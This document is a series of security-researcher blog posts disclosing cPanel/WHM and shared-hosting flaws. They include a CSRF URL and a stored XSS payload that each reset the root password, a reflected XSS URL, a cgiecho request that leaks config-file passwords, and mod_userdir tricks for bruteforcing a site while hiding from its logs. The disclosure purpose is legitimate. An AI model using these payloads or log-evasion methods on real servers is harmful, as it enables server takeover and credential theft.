Is Mass Hosting PCI Compliant? (Biting the hand that feeds me)

If anybody actually pays attention to what I have to say, there's a good chance that this post is going to make a lot of people awfully mad. It needs to be said.

Most web sites built by my company are mass-hosted on cPanel servers. We're not the only company around that does this- there are many more. On the internet, there are hundreds of thousands of mass hosting servers, with hundreds of users on each server. On our systems, about 1/3 of those accounts have some kind of ecommerce software. I don't know whether that fits with industry averages, but it paints a pretty interesting picture.

The internet has a massive number of ecommerce web sites, all processing credit card transactions, hosted on servers with at least a few hundred other users. Let's presume one thing for the sake of this post: breach of one account can lead to compromising another account through local attacks (world-readable configuration files, local file inclusion, and a whole host of others that I haven't publicly disclosed yet) as well as web-based attacks (see my previous post on server and client attacks via mod_userdir). I'll be posting a lot more ways to attack shared hosting in the future, but humor me and take it for granted if you must.

I've seen some debate as to whether PCI standards apply to ecommerce apps that outsource the payment processing to a third party like PayPal or Authorize.net, but I honestly don't think it should matter. First off, any site that handles CC data, even if they are not stored on the system, can be abused. If I can break into your Zen Cart installation and 'customize' your payment module to email those numbers to me, it doesn't matter who does the payment processing. If you have a payment form, the PCI standards should apply to you.

But here's the thing: every one of my company's servers gets scanned for PCI compliance. Every one of them passes, and I've got the certificate to prove it. When you hit a cPanel server directly (via IP address), only one website will come up, and it is usually a default cPanel page, which is pretty minimal. Each of these servers has hundreds more accounts that don't even get touched by McAfee's web app scanner.

Finding XSS holes on at least one of those accounts is practically guaranteed. In fact, when I first started in my current position, I was able to gain shell access on any given server in less than 5 minutes. I've since been able to make incredible progress with mass patchings and my own vulnerability research, but there are enough unknown issues and custom code that I'll never be able to fix them all.

So why are these servers being certified as PCI compliant?

Now, my company don't actually advertise that our shared servers are PCI compliant, but we do test them as part of our own merchant agreements. In addition, we've greatly improved our processes and sales practices to make sure that new code is reviewed and apps with sensitive data go on VPSes, but that does nothing for all the old clients, and even less for the millions of other sites out there.

The main point here, of course, is that these servers are consistently tested as PCI compliant. This isn't really a attack on McAfee. Many of our clients use other ASVs for their own sites, and none have a problem with the fact that these sites are mass-hosted, nor the fact that other sites on the same server are not PCI compliant (though if they tried to scan the other sites on the server, I'd put a stop to it pretty quickly, for obvious reasons).

Can somebody with more background in PCI weigh in on this? Is this just a massive oversight on the part of every ASV out there? When my company gets big enough that they need a PCI QSA audit rather than the ineffective ASV scans, are we going to be have to rebuild all of our customers' websites? Are we going to be completely screwed compliance-wise?

Cgiecho XSS and Information Disclosure

cgiecho is a test cgi script, usually packaged with a formmailer called cgiemail. It's found in the cgi-bin directory of a lot of sites, due to it being a default script in many cPanel installations. The script was written by somebody at MIT some time ago, and so is common on high-profile sites such as mit.edu and
xmission.com.

The script contains XSS and path disclosure holes, one example of which can found on mit.edu, but that's not really the emphasis of this report.

Basically, cgiemail allows a user to specify a template file from anywhere within the web root. When data is posted to it, substitutions are made based on the parameters posted and the content of the template file.

For example, if a template file "/templates/mail.txt" contains the following:

Hello [firstname] [lastname]!

When the parameters firstname=dr&lastname=evil are submitted to http://victim.com/cgi-bin/cgiecho/templates/mail.txt, the returned page will make those substitutions.

Many web scripting languages dereference array values using the [] characters, so the cgiecho script can be forced to return the contents of sensitive files if the index of any one array is known.

If a configuration file is located at /includes/config.php and contains the following:

define('HOME', $_SERVER['DOCUMENT_ROOT']);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

An attacker can post "%27DOCUMENT_ROOT%27=bork" to http://victim.com/cgi-bin/cgiecho/includes/config.php and read the contents of that file.

define('HOME', $_SERVER[bork]);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

For testing purposes, a form to generate correct attack parameters is located here.

cPanel Root CSRF: Round 3

Readers who have been with me from the beginning (as well as the guy that read my entire site yesterday) will recall that last fall, I posted several XSS and CSRF vulnerabilities with the cPanel WHM interface. Essentially, these vulnerabilities would allow me, as an attacker, to root a cPanel server simply by having an authenticated administrator browse my website. At the time, the vendor did not respond to my vulnerability reports, and the problems went unfixed until I resubmitted them to Secunia in February.

cPanel finally took action, fixing the XSS hole that I had found. However, the CSRF issues (which were much more critical in this case) were ignored. Their response to these issues was that CSRF can be prevented using the "XSRF Protection" feature in the WHM administration interface. I double checked and sure enough, there was such a feature. It was obscure, disabled by default, nowhere to be found on the cPanel documentation pages and FAQ (which ironically has its own XSS holes), and had verbage next to it that would discourage most administrators from enabling the feature. Essentially, cPanel treats these critical CSRF holes as a feature:



I didn't have all that much time to look into it until today, when I decided to actually test this feature. Digging into the code, the first thing I noticed was that all the "XSRF Protection" does is check the referrer that your browser sent- if it doesn't match one of the known domains for the server, the requested action is not allowed to take place.

The first way around this was obvious. If your browser does not send any referrer, the XSRF protection does not kick in. Referrers can be suppressed several ways, but the first one that comes to mind for me is SSL. Many browsers will not send referrers when coming from an SSL page. This morning, I wrote a proof of concept that bounces the user off an SSL-encrypted open redirect (there's plenty of them out there). A few tests with the latest version of cPanel confirmed that Firefox 3 does not send a referrer, and the XSRF Protection feature had no effect.

Assuming that the browser did send referrers, there are still plenty of ways to bypass it. The next thing that comes to mind is simply using a domain on the whitelist to execute the attack. With a few hundred users on most cPanel servers, finding an open redirect, file upload, XSS, or cross-site framing hole is usually trivial. If you combine that with the mod_userdir attacks I posted last week, you can increase the effectiveness of this attack even further.

The next idea I had was to add my domain to the list of allowed domains. It requires access to a local account on the server (legitimately or not), but any user can add extra domains and subdomains to his site- subdomains which are considered "allowed" by cPanel. This provides yet another effective way to avoid the XSRF protection feature.

The back end code for the cPanel interface is an absolute mess- it's amazing that it works as well as it does. Not just the WHM interface, but the entire package is vulnerable to CSRF and XSS attacks at nearly every level. This software manages hundreds of thousands of websites.

This is bad.

But preventing CSRF would break your third party billing software, so we should probably allow it by default. That's a great idea.

Edit: cPanel did, in fact, mention the XSRF Protection feature on their blog about a year ago. This post calls the CSRF issues "security issues, which range in severity from trivial to medium-critical"

cPanel, mod_userdir, and Shared Hosting

I know I've made my views on shared hosting clear in the past, but I keep coming up with more reasons to not use it.

To begin with, let me start by saying that yes, I know that mod_userdir isn't recommended by its creators, cPanel, or Apache for secure applications. I may be grabbing at low-hanging fruit here, but that doesn't change the fact that its use is hugely popular for mass-hosted webservers. It is a convenient way to get a lot of sites onto a server, to get valid SSL certificates for each, and for accessing/managing content on all of them.

With that out of the way...

For those that aren't in the know, mod_userdir is an Apache module that allows you to create a separate website for each user on a server. These sites can all be accessed by going to http://servername.com/~username. The module is installed on most Apache setups by default, but isn't necessarily always enabled. Most mass-hosted cPanel servers make extensive use of it for a variety of reasons.

I should note that in the following examples, 'victim' is the username and 'victim.com' the domain of the targeted web site. 'attacker' and 'attacker.com', respectively, are used to compromise victim, but do not have to be run by the attacker- they can simply be accounts with poor log management, PHP or XSS holes, depending on the exploit. With hundreds of sites on a server, finding such a site is usually trivial.

cPanel's default Apache configuration has a handful of flaws in it that make mod_userdir suprisingly useful to the wily attacker. To begin with, the attacker can attack one site, but have the logs deposited in another's log directory. To do this, hit the server through the domain of the site that you want to logs to show up on, but use the username of the target site:

http://attacker.com/~victim/admin.php

With this url format, we can scan, probe, and bruteforce logins without the target site hearing a peep from his apache logs. Even if he does suspect foul play, he will have a hard time getting the logs, as (theoretically, at least) both the server's administrator and the attacker's site will be rather resistant to turning over their own site's logs without a court order.

If you can't find a decent user account on the server, you can always use the server's IP address instead of a domain and run the scripts as apache rather than attacker. This way, only root will be able to access the logs, and surprisingly few administrators ever review the global apache logs.

The one caveat here is that cPanel does allow you to set up a "default" account which may end up catching the logs, but if you go directly to the server's address and see something like this, you have a winner.

Due to poor default Apache configuration, directory listings on /cgi-bin are enabled when you access it in similar fashion:

http://victim.com/~victim/cgi-bin

This alone has been enough for me to crack accounts in past penetration tests. While it has been fixed recently, past versions of cPanel would also print out cgi scripts' contents rather than executing them. Still, included files without a .cgi, .pl, .plx, .ppl or .perl extension can be easily located and downloaded with this method.

By going to http://attacker.com/~victim, we can execute PHP scripts from the user "victim", with the server thinking that we're "attacker". This can be handy for a few things. First off, printing out $_SERVER['DOCUMENT_ROOT'] tells me that I'm running in /usr/home/attacker/. By contrast, the server knows that $_SCRIPT['FILENAME'] is /usr/home/victim/public_html/script.php. The script is executed with victim's privileges, so you can't read or write anything that the user doesn't normally have access to, but if victim is including files or locating resources based on the $_SERVER['DOCUMENT_ROOT'] variable, we can manipulate it, forcing the application to load your own PHP code.

Let's say you don't even want to bother with PHP. If you can find a single XSS hole on any user's site on the server (and you can, I promise), you just have to get people to hit http://victim.com/~attacker/XSSedPage.php.

Let me repeat that- You can XSS every domain on an entire server. Many of these servers contain hundreds of users. In cases where an entire server is owned by one web development company, that server's php applications are usually homogenous. The implications of this are huge. While many are certified as such, no site on a cPanel server should be considered PCI compliant. Many people downplay the importance of XSS exploits, because they have to be individually found and have custom exploit code written. With mod_userdir and a bit of fancy coding, an attacker can compromise hundreds of accounts, all performing hundreds of ecommerce transactions per day.

That's just good economics.

cPanel Followup

I just upgraded a few servers to the latest version of cPanel, which is supposedly fully PCI compliant.

You may be wondering why, with its massively widespread use, cPanel wasn't already PCI compliant. Basically it dealt with a variety of SSL issues- the administration interface supported weak SSL ciphers and there was no way to change that through cPanel. You had to hack it together, disabling cPanel's internal SSL libraries and using other tools to implement it properly.

While I'm happy that they got around to fixing that issue (after only about 4 months), they still haven't fixed the XSS or CSRF issues that I sent to them in June and posted here back in August.

...But I'm getting awfully jaded, and I'm not expecting them to ever fix it.

More Fun With cPanel

I've had a few people contact me about this cPanel exploit- mostly people I'd rather not give further information to (sorry guys, but you're not even very good at being bad guys). Unfortunately, I also don't think anything will get fixed unless it gets made public.

I did some more work on the WHM interface, and it turns out that XSS isn't even necessary to change the root password. It can all be done with CSRF:
http://victim.com:2086/scripts/passwd?user=root&password=owned&password2=owned&submit-domain2=Change+Password

In case you're not familiar with CSRF, it is a vulnerability that is extremely underrated- forcing authenticated users to perform actions for you via well placed links, resource tags, or open redirects.

Let me repeat that: If you are logged into cPanel, and you hit a website that I can embed an image link in (which is nearly every web site out there, these days), I can root your server. I What's more, I won't leave any traces at all, because you actually root the server for me.

This is a big deal.

But it's worse than that. There are plenty of other CSRF holes in the WHM interface. Here, I can force you to download and install arbitrary code from cPanel's servers, downgrading or upgrading your software to a vulnerable version at will:

http://victim.com:2086/scripts2/saveuthemes?themetype=modules&${moduleName}=${versionNumber}

One final point, in case you think needing local access for my permanent XSS hole is too much work, here's a reflected XSS exploit:

http://victim.com:2086/scripts2/confdkillproc?%3Cscript%3Ealert(1337)%3C/script%3E=1&trusted=

Seriously, folks. Web-based management interfaces are a bad idea.

cPanel Root XSS

cPanel is the industry leader in web hosting management software. According to their website, the software is used on "tens of thousands of servers worldwide". Basically, cPanel provides all the traditional UNIX system administration tools through a web-based interface. The interface is very nice, and I have a healthy chunk of respect for the perl-fu of the developers that built it.

From a security aspect, however, the software is flawed by design. The first problem is that mass hosting is the dumbest idea in the world. I'll talk about that in future posts.

The second problem, and the point of this post, is that by combining low-level tools with a web interface, you tend to get the worst of both worlds. An attacker can use techniques from the still-relatively-new domain of web application security to perform old-school attacks that have been fixed many times over.

It turns out that you can, in fact, use cross-site scripting to hack a server

Here's an example. I have quite a few more XSS and CSRF holes, but this should suffice for making my point.

Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:

"onmouseover="alert(1337)

When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.

But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':

"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);d.name='password2';d.value='owned';f.submit()

Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives.

I'll be honest- I like having a web-based administration for servers, routers, printers, and other appliances. Web standards are cross-platform, and browser support is getting better all the time. But do we really need to replace shell-based administration with a web interface? I'm not going to answer "no" right away, but if you're going to do it, you need to be aware of the risks, and awfully careful.

Based on my experiences as both a coder and a penetration tester, a huge majority of developers (even the really good ones) don't understand what security risks there are, much less how to mitigate them. This isn't a problem that is limited to web developers, but it is much more pronounced in that field.

With that in mind, many of my future posts are going to be directed not to other security researchers, but to developers. If they are going to make an interface for managing a server, hopefully they care enough to educate themselves on the risks.

The exploit code above was last tested with cPanel 11.23.4-R26118/WHM 11.23.2 on 8-4-2008.